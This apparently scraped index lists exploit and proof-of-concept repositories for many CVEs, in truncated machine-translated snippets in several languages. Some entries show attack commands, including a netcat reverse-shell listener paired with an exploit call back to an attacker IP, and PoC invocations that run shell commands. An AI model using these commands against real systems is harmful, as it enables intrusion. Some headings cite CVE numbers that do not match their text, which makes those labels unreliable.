CVE-2025-69985

CVE-2025-69985: Exploit pour Bypass d'authentification vers RCE dans FUXA ≤1.2.8 📌 Description Générale Ce dépôt contient une Preuve de Concept PoC et une documentation technique détaillée sur la vulnérabilité CVE-2025-69985 , qui affecte FUXA versions ≤1.2.8. La vulnérabilité permet à un attaqua...

CVE-2017-11882-

CVE-2017-11882 43b Le script original provient de https://github.com/embedi/CVE-2017-11882 109b Le script original provient de https://github.com/unamer/CVE-2017-11882/ un petit hommage, maintenant le code d'unamer peut exécuter du shellcode CVE-2017-11882:...

python-log4rce

Python Log4RCE Un PoC tout-en-un purement Python3 pour CVE-2021-44228. Exemple root@kitploit: python3 log4rce.py --target "linux" --payload "PAYLOAD" http -X POST --url "http://localhost:8080/" --data "address=" root@kitploit: INFO:HTTP:Running on local port 1337 INFO:HTTP:Remote target is...

DrupalCVE-2018-7602

ثغرة تنفيذ التعليمات البرمجية عن بعد في Drupal CVE-2018-7602 البرنامج المتأثر: drupal الأسلوب: تشفير في عنوان URL مرتين لتجاوز فلتر دالة sanitize التأثير: تنفيذ أي أمر بيئة الثغرة قم بتنفيذ الأمر التالي لتشغيل بيئة Drupal 7.57: root@kitploit: docker-compose up -d بعد تشغيل البيئة، قم بزيارة...

CVE-2020-17530

CVE-2020-17530 s2-061 poc:...

WebminRCE-exploit

WebminRCE-exploit CVE-2022-0824, CVE-2022-0829 - Exploit de privilèges du File Manager L'application vulnérable pour tester ce PoC peut être trouvée ici sous forme d'image Docker. Prérequis : Python3 Module Requests Description Vulnérabilité Contrôle d'accès inapproprié permettant l'exécution de...

CVE-2017-8759-exploits

CVE-2017-8759-exploits Deux versions des exploits CVE-2017-8759 Example 1 - Télécharge une dll .Net depuis un emplacement distant sans toucher au disque, la charge et l'exécute Example 2 - Charge une dll .Net intégrée et l'exécute...

CVE-2017-0108

Компонент Windows Graphics в Microsoft Office 2007 SP3; 2010 SP2; и Word Viewer; Skype for Business 2016; Lync 2013 SP1; Lync 2010; Live Meeting 2007; Silverlight 5; Windows Vista SP2; Windows Server 2008 SP2 и R2 SP1; и Windows 7 SP1 позволяет удалённым злоумышленникам выполнять произвольный код...

CVE-2020-23591

CVE-2020-23591 OPTILINK E-PON "MODEL NO: OP-XT71000N" with "HARDWARE VERSION: V2.2"; & "FIRMWARE VERSION: OPV3.3.1-191028" Vulnérabilité trouvée dans le "OPTILINK OP-XT71000N Version matérielle: V2.2 , Version du firmware: OPV3.3.1-191028" qui permet à un attaquant de télécharger un fichier...

CVE-2017-5638

PoC pour CVE: 2017-5638 - Apache Struts2 S2-045 Salut ! J'ai remanié le script original pour utiliser la bibliothèque requests, les autres bibliothèques me causaient des erreurs. J'espère que cela vous aidera ! Utilisation : python3 cve-2017-5638 url cmd-command...

CVE-2026-46275

CVE-2026-46725 — ثغرة RCE في امتداد TYPO3 ceselector حقن كائنات PHP عبر تجاوز ملف تعريف الارتباطunserialize → تنفيذ الأكواد عن بُعد 📋 جدول المحتويات حول الثغرة التفاصيل التقنية المتطلبات التثبيت الاستخدام أمثلة...

CVE-2026-34156-NocoBase-Sandbox-Escape-via-Workflow-Execution-Vulnerability-

CVE-2026-34156 – Évasion de sandbox NocoBase RCE -orange Exécution de code à distance authentifiée dans les versions de NocoBase ≤ 2.0.26 via une évasion de la sandbox du workflow. 📋 Description CVE-2026-34156 est une vulnérabilité d'évasion de sandbox dans le moteur de workflow de NocoBase. Un...

OpenWire-CVE-2023-46604-Investigation

تحقيق OpenWire-CVE-2023-46604 مختبر OpenWire خلال نوبة عملي كمحلل أمني من المستوى الثاني في مركز عمليات الأمن SOC، تلقيت تصعيدًا من محلل من المستوى الأول بخصوص خادم قابل للوصول عمومًا وقد لوحظ أنه يتواصل مع عدة عناوين IP خارجية مشبوهة. ردًا على ذلك، بدأت إجراءات الاستجابة للحوادث IR القياسية، وال...

CVE-2024-39031

CVE-2024-39031 : Silverpeas Core の Mes agendas における保存型XSS 情報 説明: Mes Agendas では、ユーザーは新しいイベントを作成してカレンダーに追加できます。また、同じドメイン内の他のユーザー（管理者を含む）をこれらのイベントに招待できます。通常のユーザーは、イベント作成時に “Titre” と “Description” フィールドに XSS...

CVE-2017-9101

PlaySMS 1.4 تنفيذ أكواد عن بُعد مصادق عليه طريقة بسيطة لتنفيذ أكواد عن بُعد من خلال ثغرة رفع ملف CSV من دفتر الهاتف كما هو موصوف في ExploitDB. إما تشغيل أمر واحد: root@kitploit: % python3 playsmshell.py --url http://localhost/playsms --password playwithsms -c 'id' Grabbing CSRF token for login...

CVE-2021-46422

CVE-2022-26134RCE التثبيت root@kitploit: git clone https://github.com/yigexioabai/CVE-2022-26134-cve1.git cd CVE-2022-26134-cve1 pip3 install -r requirements.txt 把CVE-2022-26134RCE.py放到pocsuite3\pocs目录下 cd pocs استخدام pocsuite3 عنوان URL واحد: root@kitploit: pocsuite -r CVE-2022-26134RCE.py -u u...

MCPJam-Inspector-1.4.2-Remote-Code-Execution-CVE-2026-23744

على كالي لينكس - الطرفية 1 nc -lvnp 4444 على كالي لينكس - الطرفية 2 python3 ./CVE-2026-23744.py -t http://TARGET.com -p 4444 -i YOUR-KALI-LINUX-IP...

CVE-2020-0688_EXP

CVE-2020-0688EXP CVE-2020-0688EXP Автоматический запуск полезной нагрузки root@kitploit: python3 CVE-2020-0688EXP.py -h usage: CVE-2020-0688EXP.py -h -s SERVER -u USER -p PASSWORD -c CMD -e optional arguments: -h, --help show this help message and exit -s SERVER, --server ECP Server URL Example:...

CVE-2026-48778-PoC

CVE-2026-48778 — PoC произвольного выполнения кода в Notepad++ Серьезность: Высокая CVSS 7.8 | Затронуто: Notepad++ ≤ 8.9.6 | Исправлено: v8.9.6.1 PoC-скрипт для CVE-2026-48778, уязвимости произвольного выполнения кода в Notepad++ ≤ 8.9.6. Полные технические детали см. в официальном бюллетене...

cve-2020-27955

cve-2020-27955 cve-2020-27955 Reproduction 1. Créer un dépôt GitHub 2. git clone https://github.com/attacker/poc.git . 3. echo calc.exe git.cmd 4. git lfs track “.dat” 5. echo “Junk” large.dat 6. git add -A 7. git commit -m “POC” 8. git push -u origin master -f...